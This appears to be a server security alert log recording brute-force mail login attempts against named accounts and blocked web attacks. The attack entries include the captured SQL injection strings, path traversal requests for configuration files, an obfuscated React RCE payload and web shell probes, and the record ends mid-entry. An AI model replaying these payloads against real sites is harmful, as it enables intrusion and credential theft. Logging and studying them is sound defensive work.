2026-07-13 03:52:40 dovecot_login authenticator failed for H=([166.145.160.119]) [88.255.189.50]:39021: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.234.16.75
country_id: 6252001
description:
2026-07-13 03:53:08 dovecot_login authenticator failed for H=dhcp-72-234-16-75.hawaiiantel.net ([14.97.77.182]) [72.234.16.75]:34748: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.55.79.195
country_id: 337996
description:
2026-07-13 03:55:14 dovecot_login authenticator failed for H=([142.54.229.253]) [213.55.79.195]:42504: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.30.11.253
country_id: 6252001
description:
2026-07-13 03:55:02 dovecot_login authenticator failed for H=([111.26.63.88]) [23.30.11.253]:33191: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.229.1.186
country_id: 6252001
description:
2026-07-13 03:55:29 dovecot_login authenticator failed for H=c-71-229-1-186.hsd1.al.comcast.net ([37.208.46.130]) [71.229.1.186]:50046: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-13 03:56:21 dovecot_login authenticator failed for H=([197.219.228.242]) [182.95.102.190]:44634: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77142267
name: IM360 WAF: Special shell symbol in request
abuser: 23.180.120.145
country_id: 6252001
domain: stcinemas.co
description:
IM360 WAF: Special shell symbol in request||MV:\xd9G\x91u*\t\xb4\x93F\xb7\x1f?\xbb\x1f\x8d1`\x13%:b\x98h\xef\x8f\x0e\x0c\xad\xb6\xc87\x9c\xf4C,\xbb.\xfc=\v.o\xa8\xba\x1b?j\xe9\xe3\x06zt\xd5\x9f\x9b\x84\xe7W\x9c\xf3\xe4\xdb\xa7\xfa\xf3\xe7\xa2\x95!\xb5&\x1c\x82\x9e\xe4;\x86X\xf7\xd2X(\b\xc6\x06\xfeP\xee\xde\xa6b\xdceR\x89\x81`\x06Z\xe9\xb1\xef\xe0\xd1\xb5\x11\xeb|\x8d\x82\xf9\xe8J\xde\x85MV\x8c\xa9\x16\xd3[1\x13,3(\t.\xe1\xa4C\xda\xbd7\xa9^Q>\x18\xe7\x90\xeb7\x92\rl\xd4\x81\xbe\xd2\x96\xc0_\xd6\xfe\xa0\xaf/\xc0\x86\x15\x12\xda\x02N~\xa7\xd7Z\xcb\xae\xfa\x83\x9a\xa6\xe6\xbf\x0f\xa0\x87\xb2^~\xb5\xc9H>\xef\xa5nf\x9b\x14\x9c\xed\x140-\x07\xe4\x89\xca\xb5=\xe6\xc9\xfd\x9b\xa8)||MVN:ARGS:binary_mjqpibdr||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 23.180.120.145
country_id: 6252001
domain: stcinemas.co
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"\\u005fresp\\u006fn\\u0073\\u0065\":{\"_chunk\\u0073\":\"\\u0024Q2\",\\u0022_formD\\u0061\\u0074\\u0061\":\\u007b\"g\\u0065t\":\"\\u00241:c\\u006fnstructor:c\\u006fnstr\\u0075ctor\"\\u007d,\"_p\\u0072efix\":\"t\\u0068\\u0072o\\u0077 Obj\\u0065c\\u0074\\u002eassi\\u0067n\\u0028ne\\u0077 Er\\u0072or('\\u004e\\u0045X\\u0054_\\u0052E\\u0044I\\u0052EC\\u0054\\u0027),{digest:\\\\u0022\\u0074e\\u0073t\\\\u0022\\u007d\\u0029;\"},\"r\\u0065ason\\u0022:-1,\"\\u0073tatu\\u0073\":\"resolved_model\",\"then\\u0022:\"$\\u0031:_\\u005fpr\\u006f\\u0074o__:then\",\"val\\u0075e\\u0022:\"{\\\\u0022\\u0074hen\\\\u0022:\\u005c\"$B1337\\\\u0022}\"}||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77142267
name: IM360 WAF: Special shell symbol in request
abuser: 23.180.120.145
country_id: 6252001
domain: stcinemas.co
description:
IM360 WAF: Special shell symbol in request||MV:+s\xa5\xd2\xb4\x96\xcf\xe3\x10K}||MVN:ARGS:binary_cxdhvsay||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.197.6.173
country_id: 3017382
description:
2026-07-13 03:59:47 dovecot_login authenticator failed for H=([198.8.94.171]) [78.197.6.173]:55203: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.32.231.200
country_id: 1835841
description:
2026-07-13 04:03:57 dovecot_login authenticator failed for H=([87.150.241.128]) [14.32.231.200]:62115: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.109
country_id: 3686110
description:
2026-07-13 04:03:27 dovecot_login authenticator failed for H=([188.226.132.113]) [206.62.136.109]:48688: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.219.75.143
country_id: 357994
description:
2026-07-13 04:05:53 dovecot_login authenticator failed for H=(n112120115152.netvigator.com) [196.219.75.143]:38350: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.116.107.222
country_id: 1835841
description:
2026-07-13 04:07:12 dovecot_login authenticator failed for H=([115.190.220.166]) [211.116.107.222]:59977: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-13 04:10:09 dovecot_login authenticator failed for H=(37.150.87.223.dynamic.telecom.kz) [182.95.102.190]:41108: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.49.157.155
country_id: 1835841
description:
2026-07-13 04:09:40 dovecot_login authenticator failed for H=([211.223.179.243]) [14.49.157.155]:59770: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.220.16.51
country_id: 1269750
description:
2026-07-13 04:10:21 dovecot_login authenticator failed for H=([147.148.205.252]) [103.220.16.51]:45724: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.202.80.152
country_id: 1835841
description:
2026-07-13 04:15:23 dovecot_login authenticator failed for H=(177-215-153-215.user.vivozap.com.br) [114.202.80.152]:41044: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.1.105.105
country_id: 1269750
description:
2026-07-13 04:16:01 dovecot_login authenticator failed for H=([85.93.45.33]) [61.1.105.105]:36086: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.234.16.75
country_id: 6252001
description:
2026-07-13 04:15:42 dovecot_login authenticator failed for H=dhcp-72-234-16-75.hawaiiantel.net ([39.171.42.206]) [72.234.16.75]:54052: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.187.9.111
country_id: 298795
description:
2026-07-13 04:16:30 dovecot_login authenticator failed for H=(ipmapt-72-195-34-34.oc.oc.cox.net) [78.187.9.111]:36787: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.247.245.61
country_id: 1835841
description:
2026-07-13 04:16:58 dovecot_login authenticator failed for H=([177.74.136.194]) [1.247.245.61]:60742: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.120.42.31
country_id: 1733045
description:
2026-07-13 04:17:30 dovecot_login authenticator failed for H=([46.163.189.191]) [121.120.42.31]:45456: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 141.255.164.66
country_id: 2658434
domain: alnayza.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/fcqzcmbc/fonts/cjqwaskc.PHP||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.208.108.219
country_id: 2661886
description:
2026-07-13 04:22:15 dovecot_login authenticator failed for H=31-208-108-219.cust.bredband2.com ([14.42.47.150]) [31.208.108.219]:48999: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.192.162
country_id: 1269750
description:
2026-07-13 04:22:28 dovecot_login authenticator failed for H=([186.238.157.140]) [152.52.192.162]:57590: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.255.126.7
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:04-27.185.255.126.7||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 90.118.156.105
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cochinbigbandshow.com/ HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.214.44.117
country_id: 149590
description:
2026-07-13 04:28:51 dovecot_login authenticator failed for H=(200-159-117-25.customer.tdatabrasil.net.br) [102.214.44.117]:37906: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.202.80.152
country_id: 1835841
description:
2026-07-13 04:29:22 dovecot_login authenticator failed for H=([182.95.187.86]) [114.202.80.152]:51098: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.176.254.53
country_id: 6252001
description:
2026-07-13 04:29:41 dovecot_login authenticator failed for H=([49.124.151.71]) [24.176.254.53]:45427: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-07-13 04:31:07 dovecot_login authenticator failed for H=([80.233.77.136]) [182.95.228.194]:39966: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-13 04:31:26 dovecot_login authenticator failed for H=([186.238.157.140]) [119.92.76.210]:34848: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.163.44.10
country_id: 1269750
description:
2026-07-13 04:35:23 dovecot_login authenticator failed for H=(78-66-44-23-no2550.tbcn.telia.com) [103.163.44.10]:58186: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.220.90
country_id: 1269750
description:
2026-07-13 04:35:52 dovecot_login authenticator failed for H=([36.135.107.56]) [128.185.220.90]:44918: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.209.100.246
country_id: 6252001
description:
2026-07-13 04:36:03 dovecot_login authenticator failed for H=([67.201.58.185]) [74.209.100.246]:35726: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.183
country_id: 1269750
description:
2026-07-13 04:35:30 dovecot_login authenticator failed for H=(visaotur.sdr.gvt.net.br) [122.187.230.183]:45819: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 74.244.195.179
country_id: 878675
domain: cochinbigbandshow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:98785.cochinbigbandshow.com||ServerName:cochinbigbandshow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5bff3458027b493a02a6c4cc6d66e80c64128c19||Title:0xf4557d64||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-13 04:36:21 dovecot_login authenticator failed for H=([24.249.199.9]) [182.95.102.190]:51336: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.89.128.6
country_id: 192950
description:
2026-07-13 04:36:59 dovecot_login authenticator failed for H=([192.111.139.161]) [41.89.128.6]:37266: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.31.215
country_id: 2661886
description:
2026-07-13 04:37:56 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se ([178.178.222.52]) [155.4.31.215]:35966: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.120.115.152
country_id: 1819730
description:
2026-07-13 04:37:37 dovecot_login authenticator failed for H=n112120115152.netvigator.com ([49.124.153.42]) [112.120.115.152]:48220: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 64.144.28.108
country_id: 1861060
domain: ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ibmcglobal.com/images/2022/05/13/sajith-kumar.jpg HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.207
country_id: 1668284
description:
2026-07-13 04:42:38 dovecot_login authenticator failed for H=111-70-32-207.emome-ip.hinet.net ([192.111.137.33]) [111.70.32.207]:47074: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 79.115.155.171
country_id: 798549
domain: combinations.in
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:96797.combinations.in||ServerName:combinations.in||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7c8deeb344db752ae784e7ff762f4d8d904f381f||Title:0x9e3df620||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.221.130
country_id: 1269750
description:
2026-07-13 04:45:46 dovecot_login authenticator failed for H=([49.124.149.26]) [122.187.221.130]:52346: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.147.248.23
country_id: 1269750
description:
2026-07-13 04:49:32 dovecot_login authenticator failed for H=([49.124.155.162]) [103.147.248.23]:33048: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.135.208.32
country_id: 1861060
description:
2026-07-13 04:53:00 dovecot_login authenticator failed for H=([131.161.184.46]) [212.135.208.32]:47883: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.194.5.183
country_id: 2077456
description:
2026-07-13 04:56:06 dovecot_login authenticator failed for H=(42-200-60-186.static.imsbiz.com) [203.194.5.183]:33927: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.220.168
country_id: 337996
description:
2026-07-13 04:55:51 dovecot_login authenticator failed for H=(wsip-184-178-172-12.rn.hr.cox.net) [196.190.220.168]:60920: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.168.26
country_id: 2661886
description:
2026-07-13 04:56:47 dovecot_login authenticator failed for H=90-230-168-26-no600.tbcn.telia.com ([63.78.215.208]) [90.230.168.26]:33610: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-13 05:01:16 dovecot_login authenticator failed for H=(82-209-191-11.cust.bredband2.com) [103.168.241.32]:46020: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-07-13 05:00:38 dovecot_login authenticator failed for H=(host59.181-104-41.telecom.net.ar) [1.227.228.131]:55388: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.104.166.110
country_id: 1835841
description:
2026-07-13 05:00:56 dovecot_login authenticator failed for H=(syn-174-134-045-064.res.spectrum.com) [211.104.166.110]:50409: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.65.154
country_id: 1269750
description:
2026-07-13 05:01:31 dovecot_login authenticator failed for H=([112.194.142.167]) [182.78.65.154]:37476: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77350921
name: IM360 WAF: UNION-based SQL injection
abuser: 167.86.90.243
country_id: 2921044
domain: globalgroupoman.com
description:
IM360 WAF: UNION-based SQL injection||MV:/plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent=\" UNION SELECT NULL,NULL,0x7330683431,NULL,NULL,NULL,NULL,NULL-- aa||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350922
name: IM360 WAF: SQL injection with CONCAT function
abuser: 167.86.90.243
country_id: 2921044
domain: globalgroupoman.com
description:
IM360 WAF: SQL injection with CONCAT function||MV:/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=polygon((/*!00000select*/*/*!00000from*/(/*!00000select*/*/*!00000from*/(/*!00000select*/concat_ws(0x7e3a,0x7330683431,version(),user())as mk)``)``))||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77140844
name: IM360 WAF: Joomla com_cckjseblod Local File Download Vulnerability (2016-09-13)
abuser: 167.86.90.243
country_id: 2921044
domain: globalgroupoman.com
description:
IM360 WAF: Joomla com_cckjseblod Local File Download Vulnerability (2016-09-13)||MVN:ARGS:file||RSV:8.28||T:APACHE||MV:configuration.php||


plugin: modsec
rule: 77350312
name: IM360 WAF: Block system file path in request
abuser: 167.86.90.243
country_id: 2921044
domain: globalgroupoman.com
description:
IM360 WAF: Block system file path in request||MVN:ARGS:file||MV:../../../../../configuration.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 167.86.90.243
country_id: 2921044
domain: globalgroupoman.com
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-config.bak||User:globalgroupoman||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.86.90.243
country_id: 2921044
domain: globalgroupoman.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../configuration.php&Itemid=0 HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77140847
name: IM360 WAF: Joomla Shape 5 MP3 Player 2.0 Local File Disclosure
abuser: 167.86.90.243
country_id: 2921044
domain: globalgroupoman.com
description:
IM360 WAF: Joomla Shape 5 MP3 Player 2.0 Local File Disclosure||MVN:ARGS:fileurl||RSV:8.28||T:APACHE||MV:../../../configuration.php||


plugin: modsec
rule: 77140850
name: IM360 WAF: Joomla com_macgallery 1.5 Arbitrary File Download (CVE-2014-0001)
abuser: 167.86.90.243
country_id: 2921044
domain: globalgroupoman.com
description:
IM360 WAF: Joomla com_macgallery 1.5 Arbitrary File Download (CVE-2014-0001)||MVN:ARGS:albumid||RSV:8.28||T:APACHE||MV:../../configuration.php||


plugin: modsec
rule: 77140851
name: IM360 WAF: Joomla com_Joomanager Arbitrary File Download (CVE-2017-18345)
abuser: 167.86.90.243
country_id: 2921044
domain: globalgroupoman.com
description:
IM360 WAF: Joomla com_Joomanager Arbitrary File Download (CVE-2017-18345)||MVN:ARGS:path||RSV:8.28||T:APACHE||MV:configuration.php||


plugin: modsec
rule: 77140845
name: IM360 WAF: Joomla HD FLV 2.1.0.1 and below Arbitrary File Download Vulnerability (CVE-2010-1219)
abuser: 167.86.90.243
country_id: 2921044
domain: globalgroupoman.com
description:
IM360 WAF: Joomla HD FLV 2.1.0.1 and below Arbitrary File Download Vulnerability (CVE-2010-1219)||MVN:ARGS:f||RSV:8.28||T:APACHE||MV:../../../configuration.php||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 167.86.90.243
country_id: 2921044
domain: globalgroupoman.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:user_id||MV:-62 union select 1,2,3,4,5,6,7,8,9,10,11,12,0x7330683431,14,15,16,17,18,19,20,21,22,23,24,25,26,27--||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77222900
abuser: 167.86.90.243
country_id: 2921044
domain: globalgroupoman.com
name:
IM360 WAF: Arbitrary File Download vulnerability in Jtag Members Directory 5.3.7 component for Joomla (CVE-2018-6008)

description:
IM360 WAF: Arbitrary File Download vulnerability in Jtag Members Directory 5.3.7 component for Joomla (CVE-2018-6008)||MVN:ARGS:download_file||MV:/../../../../configuration.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-07-13 05:11:06 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [169.211.232.182]:39970: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.206.24.237
country_id: 1835841
description:
2026-07-13 05:11:45 dovecot_login authenticator failed for H=(dsl-hkibng42-50dfbe-179.dhcp.inet.fi) [210.206.24.237]:22750: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.17.241.251
country_id: 1562822
description:
2026-07-13 05:13:03 dovecot_login authenticator failed for H=([192.252.210.237]) [123.17.241.251]:46725: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.54
country_id: 1733045
description:
2026-07-13 05:13:34 dovecot_login authenticator failed for H=([113.53.251.101]) [49.124.151.54]:45094: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.96.233.67
country_id: 6251999
description:
2026-07-13 05:13:54 dovecot_login authenticator failed for H=208-96-233-67.resi.cgocable.ca (111-70-38-54.emome-ip.hinet.net) [208.96.233.67]:56204: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.180.18
country_id: 337996
description:
2026-07-13 05:13:25 dovecot_login authenticator failed for H=(abts-north-static-105.80.160.122.airtelbroadband.in) [196.190.180.18]:36088: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.54
country_id: 1668284
description:
2026-07-13 05:17:02 dovecot_login authenticator failed for H=111-70-38-54.emome-ip.hinet.net ([125.139.124.120]) [111.70.38.54]:58976: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.195
country_id: 1835841
description:
2026-07-13 05:20:34 dovecot_login authenticator failed for H=([60.173.105.206]) [183.104.220.195]:59818: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.31.215
country_id: 2661886
description:
2026-07-13 05:22:47 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se ([103.67.152.201]) [155.4.31.215]:57596: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-13 05:25:32 dovecot_login authenticator failed for H=([65.20.133.56]) [119.92.76.210]:56534: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.241.59.150
country_id: 1562822
description:
2026-07-13 05:28:01 dovecot_login authenticator failed for H=([192.252.214.22]) [14.241.59.150]:58534: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.177.143.61
country_id: 1819730
description:
2026-07-13 05:28:26 dovecot_login authenticator failed for H=(nsg-corporate-3.18.186.122.airtel.in) [210.177.143.61]:46126: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.49.240.150
country_id: 1835841
description:
2026-07-13 05:29:35 dovecot_login authenticator failed for H=([111.26.62.42]) [14.49.240.150]:59980: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.37.150.6
country_id: 1835841
description:
2026-07-13 05:29:32 dovecot_login authenticator failed for H=([142.54.231.33]) [61.37.150.6]:18424: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.203.199.118
country_id: 1835841
description:
2026-07-13 05:29:24 dovecot_login authenticator failed for H=([197.219.208.38]) [175.203.199.118]:11169: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.88
country_id: 99237
description:
2026-07-13 05:35:58 dovecot_login authenticator failed for H=([65.20.163.103]) [65.20.204.88]:39312: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.240.192.154
country_id: 2510769
description:
2026-07-13 05:36:21 dovecot_login authenticator failed for H=([49.124.151.55]) [188.240.192.154]:57269: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.238.140.87
country_id: 2661886
description:
2026-07-13 05:36:37 dovecot_login authenticator failed for H=customer-109-238-140-87.stosn.net ([183.171.47.32]) [109.238.140.87]:50492: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.219.75.143
country_id: 357994
description:
2026-07-13 05:36:57 dovecot_login authenticator failed for H=(119.92.76.213.static.pldt.net) [196.219.75.143]:33560: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-07-13 05:39:31 dovecot_login authenticator failed for H=([45.55.133.80]) [182.95.228.194]:51656: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.132.209.110
country_id: 6252001
description:
2026-07-13 05:43:12 dovecot_login authenticator failed for H=(distribution05-10gb.1560.la3.switches.zerolag.com) [47.132.209.110]:65256: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.19.91
country_id: 1269750
description:
2026-07-13 05:43:42 dovecot_login authenticator failed for H=([49.124.151.4]) [117.250.19.91]:44354: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.251.121.187
country_id: 241170
domain: cochinbigbandshow.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/yppxzvbj/fonts/jbtjyikm.PHP||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.228
country_id: 130758
domain: www.cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/images/images/cache.php||SC:/home/cochinbigbandsho/public_html/images/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.49.158
country_id: 1733045
description:
2026-07-13 05:57:58 dovecot_login authenticator failed for H=([210.222.75.179]) [183.171.49.158]:56650: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.195.53.129
country_id: 6252001
description:
2026-07-13 05:58:40 dovecot_plain authenticator failed for H=(benia) [74.195.53.129]:38088: 535 Incorrect authentication data (set_id=info@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
